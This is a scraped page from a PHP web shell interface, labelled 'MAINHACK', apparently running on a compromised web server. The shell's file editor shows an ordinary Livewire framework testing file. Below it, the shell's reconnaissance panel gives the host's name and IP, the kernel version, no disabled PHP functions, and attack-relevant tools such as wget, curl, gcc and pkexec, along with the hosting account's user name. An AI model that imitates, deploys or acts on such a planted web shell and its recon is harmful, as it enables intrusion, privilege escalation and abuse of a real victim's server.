[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SupportTesting.php
<?php namespace Livewire\Features\SupportTesting; use Illuminate\Validation\ValidationException; use Livewire\Mechanisms\ComponentRegistry; use Livewire\ComponentHook; use Livewire\Component; class SupportTesting extends ComponentHook { static function provide() { if (! app()->environment('testing')) return; if (class_exists('Laravel\Dusk\Browser')) { DuskTestable::provide(); } static::registerTestingMacros(); } function dehydrate($context) { $target = $this->component; $errors = $target->getErrorBag(); if (! $errors->isEmpty()) { $this->storeSet('testing.errors', $errors); } } function hydrate() { $this->storeSet('testing.validator', null); } function exception($e, $stopPropagation) { if (! $e instanceof ValidationException) return; $this->storeSet('testing.validator', $e->validator); } protected static function registerTestingMacros() { // Usage: $this->assertSeeLivewire('counter'); \Illuminate\Testing\TestResponse::macro('assertSeeLivewire', function ($component) { if (is_subclass_of($component, Component::class)) { $component = app(ComponentRegistry::class)->getName($component); } $escapedComponentName = trim(htmlspecialchars(json_encode(['name' => $component])), '{}'); \PHPUnit\Framework\Assert::assertStringContainsString( $escapedComponentName, $this->getContent(), 'Cannot find Livewire component ['.$component.'] rendered on page.' ); return $this; }); // Usage: $this->assertDontSeeLivewire('counter'); \Illuminate\Testing\TestResponse::macro('assertDontSeeLivewire', function ($component) { if (is_subclass_of($component, Component::class)) { $component = app(ComponentRegistry::class)->getName($component); } $escapedComponentName = trim(htmlspecialchars(json_encode(['name' => $component])), '{}'); \PHPUnit\Framework\Assert::assertStringNotContainsString( $escapedComponentName, $this->getContent(), 'Found Livewire component ['.$component.'] rendered on page.' ); return $this; }); if (class_exists(\Illuminate\Testing\TestView::class)) { \Illuminate\Testing\TestView::macro('assertSeeLivewire', function ($component) { if (is_subclass_of($component, Component::class)) { $component = app(ComponentRegistry::class)->getName($component); } $escapedComponentName = trim(htmlspecialchars(json_encode(['name' => $component])), '{}'); \PHPUnit\Framework\Assert::assertStringContainsString( $escapedComponentName, $this->rendered, 'Cannot find Livewire component ['.$component.'] rendered on page.' ); return $this; }); \Illuminate\Testing\TestView::macro('assertDontSeeLivewire', function ($component) { if (is_subclass_of($component, Component::class)) { $component = app(ComponentRegistry::class)->getName($component); } $escapedComponentName = trim(htmlspecialchars(json_encode(['name' => $component])), '{}'); \PHPUnit\Framework\Assert::assertStringNotContainsString( $escapedComponentName, $this->rendered, 'Found Livewire component ['.$component.'] rendered on page.' ); return $this; }); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002